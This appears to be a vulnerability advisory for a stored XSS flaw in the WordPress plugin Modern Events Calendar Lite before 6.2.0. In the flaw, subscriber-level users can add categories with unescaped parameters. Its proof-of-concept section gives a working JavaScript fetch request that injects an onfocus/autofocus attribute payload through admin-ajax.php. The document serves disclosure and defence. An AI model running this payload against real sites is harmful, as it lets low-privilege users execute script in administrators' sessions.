Lucene search

K
wpvulndbKrzysztof ZającWPVDB-ID:19C2F456-A41E-4755-912D-13683719BAE6
HistoryDec 03, 2021 - 12:00 a.m.

Modern Events Calendar Lite < 6.2.0 - Subscriber+ Category Add Leading to Stored XSS

2021-12-0300:00:00
Krzysztof Zając
wpscan.com
5

0.001 Low

EPSS

Percentile

25.0%

The plugin alloed any logged-in user, even a subscriber user, may add a category whose parameters are incorrectly escaped in the admin panel, leading to stored XSS.

PoC

1. Run the following JavaScript in the browser’s web console as a subscriber user. 2. Authenticate in a separate browser as an admin user. 3. Go To “M.E. Calendar” -> Categories -> and click on “category” link. fetch(“http://127.0.0.1:8001/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “body”: new URLSearchParams({“action”:“mec_popup_event_category”,“mec_cat_color”: ‘color" onfocus=alert(1) autofocus=’, “category”: “category”, “mec_cat_icon”: “icon”}), “method”: “POST”, “credentials”: “include” }) .then(response => response.text()) .then(data => console.log(data));

CPENameOperatorVersion
modern-events-calendar-litelt6.2.0

0.001 Low

EPSS

Percentile

25.0%

Related for WPVDB-ID:19C2F456-A41E-4755-912D-13683719BAE6